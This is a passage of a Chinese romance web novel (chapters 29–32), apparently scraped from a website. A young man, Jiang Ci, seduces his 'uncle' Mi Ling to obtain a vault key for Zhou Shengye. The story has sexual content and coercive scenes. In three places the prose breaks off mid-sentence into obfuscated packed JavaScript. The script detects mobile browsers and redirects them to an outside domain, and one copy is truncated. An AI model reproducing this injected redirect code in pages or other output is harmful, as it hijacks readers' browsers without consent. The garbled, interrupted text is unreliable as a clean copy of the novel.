“那我们到别家店去,九龙的店卖珍珠和翡翠多一些,我们去那儿挑。” “我不。” “宝宝,今天怎么这么缠人?非要去库房做什么,店里的货都是库房运来的,库房里的东西店里都有。” 姜瓷见他怀疑起来,只怕再纠缠下去要露馅,便没再说什么,却忽然身子一滑坠到了桌底下,低声道:“小舅舅,我们来玩一个游戏好不好?” 29. 29 点绛唇 糜岭知道姜瓷在某些事情上很在行。以前不觉得这有什么不好,可如今他一点儿不愿意看到姜瓷身上展现出的纯熟,所以就要去拉他,可姜瓷就是不肯站起来,仰头望着他,说:“小舅舅,我要新年礼物的。” 他那眼神又是与身体上的柔媚靡丽截然相反的天真单纯,叫糜岭看了更是不忍心。 他说:“起来吧宝宝。” 姜瓷瞥一眼身旁那抽屉,小锁头挂在上面轻轻地晃着。他倔强地缩着身子挤在小小的桌底下。糜岭看见他那软润的嘴唇上一抹笼统的红色。 从这儿的房间窗户望出去,能看到一座高山。已是近黄昏的天光了,起初那西沉的红日悬在山尖尖,但是远近人家升起的炊烟薄软轻透,水潮潮的,遮蔽着视线,衬得那山也柔柔的,再看,又仿佛是山尖尖软洋洋凹下一段,衔住了一颗红日。 渐渐太阳沉到了半山腰,停在那儿,像是被满山蓊蓊郁郁的树木纠葛住,卡得落不下去。红的紫的粉的霞光穿过林子,直照射过来,印到跟前这扇窗上,褪色了一般,只剩下淡淡的白,从窗台处滴滴坠坠往下落。 糜岭盯着这副景色看得出神,忽听外头一阵敲门声,不等他答话,便有个伙计推门而入。糜岭立刻喝道:“站住!有什么事就在那儿说。” 伙计有些摸不着头脑,但规矩地立住了没再靠前,说:“少爷,老账房走了之后,帐目到现在还没清算完,如今新年了,您看是不是要另招一位来管账了?我这儿有几位合适的人选,要不要叫来少爷看看?” 之前各爿店面的账目都交到了他手里,可这一阵子他的心都挂在姜瓷身上,哪还顾得管什么账,现在再拖延下去,怕是要误了生意。于是便说:“我知道了,今天晚了,明天你再叫他们来。” 伙计应一声出去了。 糜岭马上俯身,把姜瓷从桌底下抱了出来,拿手绢给他擦脸,抚着他胸口给他顺气,一边亲昵地啄吻他额角,说:“这下高兴了?” 姜瓷枕在他肩上笑了笑,还惦记着要开抽屉的锁,说:“我要礼物,你得补偿我。” “好好,舅舅这就去拿钥匙。” 糜岭出门拿了钥匙来,打开了抽屉上的小锁。抽屉里放着几叠纸张,姜瓷瞄见上面写着“合同”的字样,再有几个小锦盒堆在角落里。糜岭一一打开来给他看过,是几粒格外贵重的钻石和翡翠,最后一个小盒子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831048|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是一把小钥匙。 姜瓷问:“这就是库房的钥匙了?” “嗯。” “只有一把?一个库房?” “库房倒有几个,只是舅舅这儿就只有这一把钥匙。” “那另外的呢?不归你管么?” “一个库房在老爷子宅子里,钥匙给他管着,还有一个在银行里,卿卿家开的那个银行,叫丰恒,知不知道?” 姜瓷摇头:“她原来是银行家的大小姐……怎么银行也给你们管库房的?” 他浅浅吻着姜瓷,说:“银行里的保险箱库房,地方不大,没存多少珠宝,都是些字画花瓶和古董。” “那么你的钥匙开哪个库房?” “晚上带你去看。” “为什么晚上呀?我现在就要去!” 姜瓷起身就要走,糜岭追上来搂住他的腰,把他推到墙上困住了,黏糊糊地亲他。他低头盯着被糜岭捏在手心的钥匙,低声道:“英嬅姐姐说了,不能……” “好好,都听你的,再陪舅舅一会儿。今天一定带你去。” 姜瓷应一声,倦倦地倚进他怀里,任他把手掌探进了自己衣服里。 30. 30 金算盘 下着雨,车子开不快,慢悠悠颠簸着,拐进一条灯红酒绿的街衢。舞厅与酒楼的招牌五颜六色闪进车里来。 姜瓷原本倚在糜岭怀里把玩着库房的钥匙,这会儿被灯光吸引过去,贴到车窗上去看招牌上的字。夜来香舞厅,仙乐斯,小蓬莱,一排都是风月场。有几个字姜瓷不认识,糜岭教他认了认,指着不远处一家小楼,说:“那里就是了。” “什么?”姜瓷半信半疑看他一眼,“你家的库房建在这种地方,还挂个招牌告诉外人?” 糜岭笑起来:“一会儿进去就知道了。” 那幢楼是古朴的中式建筑,雕龙刻凤的门柱和翘角屋檐,不似别家的霓虹灯摘牌,只在门前挂了两盏红灯笼。 车停到店门前,姜瓷才看清门面上挂着一张匾额,写着“悦来食府”四个字。分明是家饭馆,哪有库房的样子。 他不肯下车,闹起脾气说糜岭把他骗来这里吃饭。糜岭好言好语,再三保证一定是来挑礼物的,总算带他进了店,穿过穿堂,拐进促狭的走廊,进了一间名叫蔷薇阁的包厢。 房里也并无什么特殊,寻常饭馆的陈设。糜岭坐下倒了杯茶递给姜瓷。姜瓷绷着脸,一把挥开他的手,泼了他一身茶水,扭过了头不说话。 糜岭也不恼,抱着他哄说:“舅舅说了没有骗你,我骗你做什么?好了别生气小宝。走了这么多路过来,脚疼不疼?” 他去摸姜瓷脚踝,手掌捂着扭伤处轻轻捏了捏。这时候外面有人敲门,叫了声“三少”,随即一位掌柜模样的中年人推门而入。 那人进来后直奔房间东侧,挪开了两张矮几,俯身在地上摸了摸,忽然将木板掀了起来,露出一个一人多宽的楼梯入口。 姜瓷伸长了脖子打量,又诧异地看一眼糜岭,糜岭再倒杯茶递过来,他便捧在手里乖乖地小口啜起来。 掌柜再走到二人跟前,将又一把钥匙放在桌上,走了出去。 姜瓷问:“怎么又有钥匙?” “有两把锁,当然要两把钥匙,只有一把打不开下面的门。” 糜岭把钥匙放到他手里,起身走到楼梯入口处,牵紧了他的手往下走,嘱咐道:“小心走宝宝。” 楼道里没有灯,为了方便搬运货物,修建得并不狭窄,但却陡峭。糜岭腿脚不方便,还拄着手杖,本就走得吃力,又要护着姜瓷,到最后几级台阶,光线黯淡什么都瞧不清楚,到底是趔趄了一下,本能去抓扶手,可不知被什么刺着了,痛得立刻松了手,还是没能稳住身形,摔了下去。 姜瓷倒只是踉跄了几步,赶忙去扶他,发觉他手上黏腻腻的,对着光一瞧,竟满是血,掌心扎进好几根木刺。 “阿岭,你……”他马上噤了声。 糜岭也才知道是受了伤,掩起掌心,摸摸他发白的脸色,反过来安慰他,说:“不要紧宝宝……你叫我什么?” 姜瓷不答,攥着他几根手指,垂眼盯着掉在地上的手包,放在里面的两把钥匙甩了出来,在暗里银亮亮闪着光。 他沉默半晌,松开糜岭的手,俯身去抓钥匙,一边开锁一边低声说:“以后我不会再来了,就这一次。” 糜岭扶着墙站起来,从后面搂着他的腰,挤到他颈边吻他。 “不要……”他挣了一下,推开门走进屋里,漆黑一片,浅浅挪了挪步子,还是回身扑进糜岭怀里,说:“我刚才叫你阿岭啊,你没听清楚么?阿岭,好暗,你开灯,开灯。” “好好,灯在这边。”糜岭握着他的手去摸墙上的开关。 亮了灯,他却不往屋里走,到门外去捡了糜岭的手杖,拿旗袍擦干净了,递还给糜岭。糜岭低头来吻他,喃喃说了声“好乖”。 屋子里一排排的架子,架子上堆满了木箱与盒子,门旁摆着一张小桌,放了纸笔和茶壶。两人坐下来,姜瓷抓着糜岭的手拔木刺,用茶壶里的水冲洗血迹。糜岭从衬衣上撕下了一片布料,简单缠在了掌心。 “去挑吧宝宝,多选几个,这边两排架子上是钻石,那里是翡翠和珍珠,剩下的全是黄金。” 姜瓷就起身去架子上查看。 其实他没什么想要的,真正的“礼物”已经放进手包里了。不过假如一会儿糜岭要将钥匙还给掌柜,该如何应对?要不然假装撞倒木架上的盒子,再辩解说钥匙混进了珠宝里,总之不在他身上。可是糜岭只要看一看他的手包,就会发现他在说谎,到时—— “小宝,姜瓷?”糜岭在那边叫他。 他回过神来,回头遥遥望了糜岭一眼,不知为何,觉得他眼神若有如无的锐利,扎到脸上便仿佛剖开了他的心思般,一时间心虚得直冒汗,清了清嗓子道:“干嘛呀,冷不丁叫我,吓死了。” “看你半天都不说话,舅舅以为你被老鼠叼走了。” “十三点!”他笑骂了一声,扭过身转到放黄金的架子前,在木箱里挑挑拣拣,装得从容,其实心口还惊跳得厉害,慌里慌张,心不在焉,前言不搭后语地讲了些闲话,忽然一瞥眼瞧见盒子里一只巴掌大的金算盘,便一把抓了过来,说:“好漂亮,就拿它吧。” “挑个这样的东西。” “怎么了呢,反正我没看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜瓷听着茶壶哐啷哐啷在桌上打滚的声音,配合着头顶一暗一暗的灯,心里更是惴惴,吓得哭了起来,软倒在他怀里不住地打颤,眼前一明一暗,意识都涣散了,但一双眼睛仍执着地睁着,在桌上四下探寻,望见自己的手包后,挣扎着去抓,攥住了掉在包口的两把钥匙。 糜岭把他的动作看在眼里,并没有说什么话,俯身掰过他的下巴,强迫他接吻。 过了午夜,两人才从地下库房上来。姜瓷精疲力竭,只在爬楼梯时醒了一醒,软着腿倚在糜岭怀里,走了两步就又睡着了。最后还是掌柜与伙计合力将两人拉了出来。 糜岭坐上车临走时候,掌柜拦了一拦,问他要库房的钥匙。他瞄一眼姜瓷紧紧抓着的手包,说:“先放在我这里,过两天挑个空闲的时候,你到我那儿去取,我有些事情要交代你。” 31. 31 为君一日恩 姜瓷惊醒时天还没有亮。梦到什么已经记不清了,但梦中的恐惧与绝望尚且还停留在身体里,他捂紧了窒闷的胸口,觉得身上火烧似的痛热。 糜岭的手掌大约重新包扎过了,缠着纱布,往他腰上一搭,在灼烫之中又添一层潮湿,捂得肚腹一片都汗津津的。 他动了动,把手臂伸出被子,狠狠喘了几口气,侧头望向糜岭。太暗了,看不见,只感觉到他轻浅的呼吸一缕一缕拂到自己耳边的鬓发上来。 “三少,”他轻轻地试探地叫他,“小舅舅,阿岭?” 糜岭没有反应。他便开灯下了床,轻手轻脚走到梳妆台前,打开手包,那两把钥匙还好好躺在里面。 他松了口气,思忖半晌,走出房间。来到书房,瞄一眼挂在墙上的时钟,凌晨三点,太早了,给周盛业拨电话,要是没有人接怎么办?要是周公馆的佣人发现是他去电,不肯传话怎么办? 他踌躇片刻,还是拿起了电话听筒,但拨去了金园。王妈接的,听她声音便知她睡梦惺忪。他生怕她这么糊里糊涂要坏事情,急得微微抬高了声音,几乎是一副哭腔,道:“王妈,千万记住了,天一亮你就打电话过去,叫周盛业一定要到糜公馆来。” 王妈连连应声,但仍是恍惚极了的样子:“叫他来,叫他来,唔……打电话。” 姜瓷急得直叫:“王妈!” 话音刚落,忽然一阵门的吱呀响动,他吓得猛然回头望去,但却只是书房门没关紧,被风吹开了一条缝隙。他揉着心口,气喘吁吁地跌进座椅里,继续说:“无论如何必须把话带给他,你就说我拿到钥匙了,但是要是偷走,糜岭一定怀疑我,所以他得来一趟糜公馆,听见了吗王妈?” 风又吹得门轻轻掀起来。 门外糜岭倚在墙上,抚弄着手掌上的纱布,湿淋淋的,汗水浸到伤口里去了,牵出细细的刺痛。他默默听了一阵儿,姜瓷还未挂电话,与王妈聊起家常来。 “昨天吃了鱼头豆腐汤,挺好的,上回我不是跟你说了吗,他请了一个上海的大师傅做饭,嗯,没有,出去玩了,好多地方,我声音哑?嗓子……没做什么呀,不知道,可能吹了风……” 他撒了个谎,心虚的时候说起话来每个字都在微微发着颤。糜岭听得笑起来,弄出了些动静,叫了几声小宝,假装来找他的样子,推开门探头进来,说:“怎么不睡觉到这儿来了?” 姜瓷已经挂了电话,但脸上的慌张还没敛尽,神色闪躲,支支吾吾地说:“我……额,我想王妈了,给她打了个电话。” “怎么我一来就挂了,这么大半夜,说什么我不能听的事?” “哪有……”姜瓷清了清嗓,“是因为她问我声音怎么这么哑,我不知道怎么跟她说,总不能讲我在店里……就挂了。” “是吗。” 轻飘飘一句话,传过来时竟有利剑破空般的呼啸声。姜瓷心口又不舒服起来,低垂着头,像梦呓般很含糊地应了一声。 糜岭静静看了他一会儿,走进屋来。他没拿手杖,支撑不住,就在放茶水点心的矮几旁坐下了,朝姜瓷招手:“过来小宝。” 姜瓷踱步过去,坐到他怀里,倚着他肩膀。糜岭替他揉着心口顺气,柔声问:“身上还有哪里疼?” “哪里都痛,都是你……” “舅舅跟你道歉,对不起。” “那你下次不能——” “这个可保证不了。” 姜瓷皱起眉推他一下,他笑起来,吻了吻他,抚弄着他通红的眼尾,问:“做了什么梦?哭了?” “不知道,”他有些惘然,怔怔望着桌上几盘糕点,喃喃道,“好像是梦见妈妈了,我都有点记不清她的样子了,只记得她很瘦很瘦。她有肺病,在上海的时候就不大好了,医生说没有几年了。她特别担心我,害怕她走了之后我没有着落,害怕我会沦落进风月场里,她年轻的时候就是在风月场认识周盛业的。 “她的妈妈很早就死了,父亲另娶了一个太太,一连生了八个孩子,家里穷饭都吃不起,她就被她爸爸卖到了风月场,一个叫夜巴黎的舞厅,刚去就遇见了周盛业。他是跟着到上海谈生意的亲戚一起来的,花言巧语骗我妈妈,说什么一生一世,结果玩了一个多月,悄无声息就走了。 “她怀孕了,她想要我,不想当舞女。夜巴黎的领班看她可怜,给了她一些钱。她就离开那里,一个人生下我养我。她什么都做,帮别人洗衣服,做针线活,到富人家去帮佣,她太累了,病就是累出来的。 “她知道自己活不长了,就想好好安顿我。她去找以前夜巴黎的人打听周盛业的消息,后来特别巧,真的找到一个认识周盛业的商人。她把周盛业落在她那儿的一只怀表做信物,请那个商人带去了香港。后来,后来我们就来香港了。 “一开始我们住在周盛业安排的宾馆里,她一直咳嗽,其他房间的客人抱怨被她吵得睡不着觉。我想跟他们解释,说我妈妈病了,可是他们听不懂我说的上海话,还差点对我动手。妈妈就把我护在身后,一直跟那些人说‘对勿起’,就是对不起的意思。” 糜岭哄孩子似的轻轻拍他的背,他把脸颊窝进他颈窝里,闷闷地继续说:“后来我们搬到了金园,周盛业说山上空气好,对她的病有益处,她还很高兴,明明周盛业已经骗过她抛弃过她,可她还是那么相信周盛业……不过我不怪她,我知道她是爱我的,而且周盛业装得太好了,谁都会被他骗到。” 糜岭说:“她葬在哪里?明天或者后天,你休息好了,我们去看她。” 姜瓷摇摇头:“我不知道,周盛业没告诉我,但是大概他就只是把她扔在了林子里,没有坟墓,什么都没有……有时候我会想,会不会其实她可以再活一阵子,会不会是周盛业迫不及待杀了她,她死了,就没有人能阻止周盛业把我关起来了。” 糜岭感觉脖颈上湿润润一片,抱紧了他哄:“宝宝,别哭,我们重新修一座墓给她,明天就叫人去办,好吗?” “不要,妈妈不喜欢香港。” “那么舅舅马上给张志骁写封信,叫他帮帮忙,还记不记得他?” “记得啊,”他脸色和缓了些,自己抹了眼泪,“他是我在香港这么久遇到的第一个上海人,怎么会忘,他还给我糖吃呢。” 糜岭酸酸地说:“一颗糖就把你勾住了,舅舅也给你买了好几大箱的糖,别跟舅舅说你忘了这回事了。” “哪有,我没忘。”姜瓷觉得要再讲些好听话来哄他开心,不管怎么样,他都答应帮母亲修墓了,便软声说:“小舅舅,和你有关的每件事我都记得很清楚,我认识的所有人里,你排第一,最重要。” 糜岭很受用,笑着低头吻他。他裹着纱布的手潮热地覆到姜瓷脸颊上,轻轻抚了抚,原本是那样爱怜柔软的动作,可不知怎的一下子将姜瓷的泪又逼了出来。 他握着糜岭的腕,颤声问:“那你呢,你记得关于我的每件事么?” “当然全都记得。” 他把话说得那么完满漂亮,全都记得……姜瓷已经提不起劲生气了,松了他的手,偏过头轻轻叹了一声:“我总觉得刚来香港的时候见过你,不过……可能是我认错人了。” “你说给舅舅听听。” 他沉默半晌,道:“妈妈走了之后没多久,我逃下山过一次。那会儿周盛业还只是个警员,使唤不了那么多人到山上看着我,我趁天黑跑下山,遇到了一个人,他……他把外套借给我穿。” 书房门又被风吹得吱呀响,这一次直接啪地关上了。这么一打断,姜瓷没了继续说下去的心思,糜岭也很是不愿意再听他讲别的男人。他浅浅吻着姜瓷唇角,轻声说:“如果你遇到的是我就好了……宝宝,别想他了,我陪着你还不够么?再等等,等时机到了,舅舅一定让周盛业放你走。” 姜瓷被他前半句话深深地刺伤,胸中心绪翻涌,太阳穴阵阵钝痛,轻轻咳了几声,张了张嘴,还是没出声,只点点头,倦怠地阖上了眼帘。 他不知道自己什么时候睡着的,再醒来天已经大亮,大约是中午时分了。糜岭不在房里。他隐约听到外面有人在高声说话,披衣服出去,走到客室,看见周盛业和糜岭对坐着在喝茶。 糜岭见着他便柔柔地笑开了:“起来了,过来坐会儿,午饭还没好,渴不渴?” 他正要往糜岭怀里坐,忽然周盛业站起身一把拽住了他,说:“等等,我跟你说几句话。听说前几天你在这儿摔东西来着,真是不像话。”转而又对糜岭道:“三少,您别拦我,今天我非得好好说说他不可。” “小宝,没事,过来舅舅抱抱。”糜岭在那一头喊他。 他垂着头沉默片刻,诺诺地说:“我确实不该摔东西。” “这就完了?你越发没规矩了,跟我过来!” 周盛业扯着他往房间走,他听见糜岭在后面“小宝小宝”地叫,心虚地头都不敢抬,加快步伐走到了周盛业前头。 进了房里,他立刻去手包里拿钥匙,还不等递过去,就被周盛业一把抢走。周盛业回头望望房门,掏出一盒印泥来,把钥匙往印泥里按,低声问:“库房在哪?” 他一五一十交代完,周盛业听了直哼气:“果然是生意人,无奸不商。”他又看一眼姜瓷,猛地扯住了他头发,恶狠狠地说:“你给我安分点,该哄着捧着他的时候就别犯糊涂,再让我知道你跟他发脾气,有你好果子吃!” 姜瓷一言不发,木木然盯着脚尖。这一双虎头鞋是在集市买的,做工不是很好,但他一眼就看中。鞋头上老虎张着嘴咧着牙,牙歪歪扭扭不大整齐,着实滑稽,老虎颊旁短短的一把穗子是胡须,五颜六色,头上还嵌了一朵粉花,走起路来飘飘拂拂,花瓣都蹭到脚背上来。买的时候,糜岭腿脚不方便,可还是蹲下来,拿着鞋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831050|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往他脚边比,问是不是有些大。不要紧,大了倒还好,养胖些一样地穿,小了一定不行,挤脚,路都走不了。他絮絮叨叨地说着那些话。 姜瓷叹一声,扭了扭脚,忽然一把推开周盛业就往外跑,到了走廊上,正碰见糜岭来找他。他扑过去抱住糜岭,糜岭也搂紧了他,看他眼眶通红,便对慢一步走在后面的周盛业说:“好了,周处长,不是什么大事,何必这样教训他,您消消气,留下来吃了饭再走。” 周盛业摸摸口袋里刻了钥匙轮廓的印泥,阴阴地笑着说:“不了,我还有事要忙,先告辞了,等元宵节我再来接他。” 姜瓷红着眼瞪他,倚在糜岭怀里,胆量就大起来,对着他叫道:“你怎么这么多废话!快点走吧!”说完就拉着糜岭头也不回地往餐厅去了。 吃过饭到了下午,折腾了这些天,姜瓷到底是病起来,稍稍有些发热,药也没能喝下去,不知怎的一闻见苦味就翻江倒海地吐。糜岭守在床边陪他,读了几个故事给他听,他还眨巴着眼睛不愿意睡觉,问:“我们明天去哪里玩?” “不能出去了,看你病得药都喝不下,舅舅教你写字,教你拨算盘,好不好?” “不好。” “才说了要给我当账房,这就不干了?” “我就想出去玩,玩好了再学,好嘛好嘛,小舅舅,求求你了,我没有不舒服,我现在好多了!” 糜岭被他缠得没办法,说:“好好,不闹了小宝,今天周盛业特地送了两张戏票来,本来你要是不生病,也是要带你去的,明天我们就去看,高兴了?” “真的?不许骗我。”他抱着糜岭亲了亲。糜岭摸到他软软的腰,忽而想起来英嬅送了膏药来,说:“躺好了舅舅给你涂点药。” 姜瓷笑眯眯一搂他脖颈,带着他一起倒在床上。 糜岭笑说一句:“调皮!” 晚上正要睡觉的时候,有佣人来敲门,说店里的伙计来取库房的钥匙。糜岭装作一副现在才想起来这件事的样子,还问姜瓷钥匙放在了哪里。姜瓷说在手包里,他便拿了去还。在书房,和悦来食府的那位掌柜说话。 姜瓷在房里左等右等等不到,担心是不是露了陷,急匆匆找过来,正好碰到糜岭走出书房。糜岭抱着他说笑道:“真粘人,一刻都离不开舅舅?” 姜瓷舔腻腻地说:“嗯,别和我分开嘛。”有点儿心不在焉地,看见门外院子里,那掌柜骑上自行车隐入了石径的树丛中。 第二天下午,两人到剧院去看戏。出门时天就阴阴的,车子一到剧院门口,雨哗啦啦就往下落。 剧院门口有一段台阶,不高,五六级。糜岭一手撑伞,一手要拄手杖,又要护着姜瓷,正踉跄迈台阶的时候,有个男人从剧院大门里走出来扶了他一把。 在屋檐下站定,他本以为是剧院的门童帮的忙,不想收了伞一瞧,竟是有过一面之缘的李先生。 他连忙道谢,姜瓷也跟着说了句“谢谢”,问:“英嬅姐姐也在吗?” 李先生道:“不,今日是与我一位远房侄女一起来的。” 三人一起进了剧院大门。在灯光明亮的大厅中央,一个年轻女人背对他们站着,在仰头看挂在墙壁高处的海报。她披着毛茸茸长到脚的白斗篷,风兜连在斗篷领上,也是白的,罩了她一半的头发,没有梳发髻,依稀像是只编了两个麻花辫子。 不待李先生叫她,她听见脚步先回了头,往李先生身边走。她斗篷下也穿的白旗袍,隐隐约约泛着葱青色,盘扣上一把长流苏,随着她步伐拂来拂去,一张俏生生的脸,白里透粉,桃花一样,细细的眉直扫鬓发,眼睛溜圆,小鹿似的,机敏又胆小,快而短地睇一眼过来便低下了头。 虽然只急促的一个照面,但姜瓷和糜岭都把她的一切望得清清楚楚。 李先生向两人介绍道:“上一次见面我还没有发现,今日一瞧,我侄女竟与您身边这位有些相像,特别眉眼这一块儿。” 姜瓷恍惚着,手脚发凉。但他感觉到揽着他腰的糜岭的手却还要冷而僵,冰似的。他有些受不住,轻轻抽出身来,糜岭仿佛没有觉察,还怔怔地站着,一瞬不瞬地盯着李小姐。 过了片刻,他听见糜岭说:“幸会。恕我冒昧,李小姐,我们以前……是不是见过?” 姜瓷耳边随即嗡嗡地响起来,同外面风狂雨骤的世界一样,周遭的说话声,剧院里头隐约的戏声,锣鼓声,什么都模糊地混在了一起,往他身上吹打,一阵比一阵急,一波比一波紧,直翻腾得天崩地裂。 他喘不上气,本能地往剧院外走,想要透透风。一打开门去,细雨像针似的,和早春里料峭的风一起飞到他眼睛里去。他痛得叫了一声,眼泪比雨还落得大。浑浑噩噩间,感觉糜岭冷硬的手掌又握住了他的腰。他悚然得泛了一身鸡皮疙瘩,胃里一阵扭曲挤轧,喉头翻滚着,就在门前呕了出来。到处昏天暗地的。 32. 32 无名病 元宵节一结束,新年就算过完了。周盛业开始到警局里上班。说是上班,其实也不过是每天到局里走一趟,待一上午,下午便去吃酒玩乐,回回到夜半才抵家。 这一日他又是过了午夜才回到公馆,正坐在厅堂里呷茶醒酒,佣人来报,说白医生来了电话,听语气,仿佛是山上那位不大好。 他一听便火冒三丈,冲到书房去拿起听筒,劈头盖脸骂道:“吃白饭的东西!他不好,你给我打电话有什么用?不赶紧去治他!这一回又是怎么了?!” 白医生在那头辩解说:“我听王妈说,自从元宵后回了金园,他就没怎么吃东西,他不吃东西,神仙都治不了他,让我有什么办法!” 周盛业回想元宵那天,糜岭是一同坐在车上送了姜瓷回去的,姜瓷一直半躺在糜岭怀里,脸色是有些白,不过他一向都那样病恹恹的,也没见其他不好。不吃饭……五年前刚住进金园那会儿就用过绝食的法子,现在又来闹妖了! 他气得脸紫胀,粗声说:“等我明天去金园见他!”还没来得及放下听筒,忽然又有佣人来传话,说来了一位警员,正在厅堂里等着见他。 他心下一凛,暗道不好,赶到厅堂一见,那警员灰头土脸,似刚从火场逃出来,身上衣服被烧得破破烂烂,额前头发都被灼短了一截,手臂上巴掌大一个烫伤,又红又肿,起了一片水泡。 “怎么回事!”他大喝一声质问。 警员哆哆嗦嗦地说:“我们按照吩咐,在悦来食府打烊后潜入进店,谁知店里竟有一伙小偷,他们已扒窃了账房中的银钱,正要出逃,撞见了我们,以为我们是来劫他们的同行,二话不说便与我们缠斗起来,混乱中不知谁撞倒了烛台……” “库房,库房里的东西呢!” “火太大,地板都被烧穿了,我们几个弟兄亲眼看见火星子蹦到了库房里,如今那些东西,连同悦来食府,怕是早已烧、烧尽了……” “混账!混账!”周盛业一边跳脚一边破口大骂,在厅堂里来回地走动着。原本钥匙在他手里,他可以随时随地叫人进出那间秘密的库房,自由地做许多事情,比如顺走些珠宝到他情妇的店中售卖,只要他做得够小心而不让糜岭觉察,那库房就相当于一个永不干涸的泉眼,可以源源不断地为他供给财富。若是哪一天糜岭终究还是怀疑到了姜瓷头上,他再将库房中的货物全部搬空也不迟。 可现如今手底下人把事情闹得人尽皆知,害得经营了许久的计划全盘落空。早知如此,何必听那小贱人的话,什么偷钥匙,偷来了又有何用,就该在得知库房地点后立马让人去撬了锁,那样的话,至少现在还能拿到满满一屋子金银珠宝。 想到这儿,他直恨得目眦欲裂,一抬脚踹翻了椅子:“你去查,查那几个小偷,把他们全给我抓来!偏偏在今日这种时候,你们两拨人就碰在了一处,天下哪有这么巧的事情!我倒要好好审审他们,看看到底是什么说法!” 那警员点头哈腰地应下后离开了。 他铁青着脸在厅堂里来回走了一阵,胸中怒火实在无处发泄,便唤来佣人,说:“备车,我要去金园。” 糜岭从梦中惊醒时,前院中恰好响起了汽车喇叭声。他摸向床畔,冰凉的,心中一沉,立马叫道:“小宝!”慌忙地探身去开台灯,灯一亮,姜瓷并未到哪儿去,只是坐在窗前,这会儿也不回头看他,细声问:“怎么了?” 糜岭捏了捏太阳穴,轻叹一声:“不睡觉在做什么?” “渴醒了,王妈刚刚烧好的水,太烫了,在窗边吹风凉一凉。”他朝楼下望一眼,看见周盛业气势汹汹地从车上跳了下来。 “谁的车?周盛业来了?”糜岭问。 “嗯。” 糜岭便下床走过去,拿过窗台上的杯子抿了一口水,递到姜瓷嘴边:“不烫了,喝吧。”说着关上了窗户,摸摸姜瓷冷冰冰的手,:“生着病还吹风,一点不当心自己,要喝水怎么不叫我?” “你……你不方便下楼,”姜瓷睨一眼他的右腿,伸手抚上去,掌心贴着薄薄的睡衣,能感觉到下面虬曲的伤疤,“很疼吗?” “不疼。” “可是刚才……你做噩梦了吗?一直掐着腿,眉头皱着……我叫你,你都不醒。” 糜岭顿了一顿,轻声说:“是吗……不要紧小宝,舅舅往日来这儿,不照样爬楼梯么。”他俯身想吻姜瓷,姜瓷惊着了似的猛地偏头一避,不小心打翻了水杯。 两人都静了片刻,还是姜瓷先开口说:“你的腿伤,是因为李小姐么?” “什么?哪里来的说法,”糜岭捧住他的脸与他对视,“小宝,那天你也听李小姐说了,她没有见过我。” “我记得你之前告诉我,你只和那个人见过一面,过去这么久了,或许李小姐忘了你,你真的确信不是她么?” 糜岭没有应声。姜瓷呆呆地盯着地上,茶杯掀翻了滚到床边去了,泼出来的水顺着地板缝隙蜿蜒地流过来,一条蛇似的,鳞片闪着寒光,游着游到他脚背上,卷住脚踝,一径往上去。 这时候外头传来了周盛业凶恶的脚步声,踏得楼梯咚咚地响。 他不住地打着寒噤,昏昏沉沉有些坐不住,软着身子晃了晃,还是倒进了糜岭臂弯。 周盛业恰在此时踹开了门,一声“贱人”在嘴边蠢蠢欲动,可不想一抬眼竟见到糜岭也在房里,只好把话咽了回去,憋得脸色发青。 他随即转头对跟在身后的王妈沉声道:“怎么回事!” 王妈战战兢兢:“这几日三少爷一直是晚上来,早晨回去,睡在这里的。我方才想同您说,您……急着要上来。” 他忍着怒火,理了理心绪,摆出一副和善的脸来,回头对糜岭道:“没想到三少也在,周某冒犯了。” 糜岭轻轻抚着姜瓷的头发,见他双眼紧闭似是睡着了,便说:“周处长有什么事等明日吧。” 周盛业转了转眼珠,道:“我是不急,可山下出了大事,实在等不了。三少知道悦来食府吧,今夜那儿走水,整栋楼都烧塌了!” 姜瓷原本迷糊着,听到这话,彻底清醒了,睁了睁眼觑一下周盛业,又把脸埋进糜岭怀里,攥紧了他衣服。 糜岭拍了拍他的肩膀安抚他,一直没有说话。他眉头紧蹙,装出一副被这个消息惊着了的坐立不安的样子。 周盛业见他如此,一时间心下畅快许多,阴恻恻笑了笑,道:“前几日晚上,悦来食府的掌柜到过您的公馆去吧?三少莫不是与他有私交?” 糜岭知道他在试探,不动声色地说:“上一回去吃饭,把衣服落在他那里了,他送还回来而已。” “哦,原来如此。我听手下说今夜像是有人潜进去故意纵火,三少那一日去吃饭,不知有没有见到什么形迹可疑的人?” “去吃饭,哪会注意旁的事情,那天小宝也不大舒服,我挂心他还来不及。周处长就是来问这些的么?何必大半夜亲自跑一趟,打个电话来就行了。” “您也说了,这位时常要生病的,我也挂心他,顺道来看看,听说他不吃饭?” “白医生告诉你他不吃么?他也不是不吃,是吃不下,不知道怎么了,闻见米饭的味道都吐,大概是胃里的毛病。” 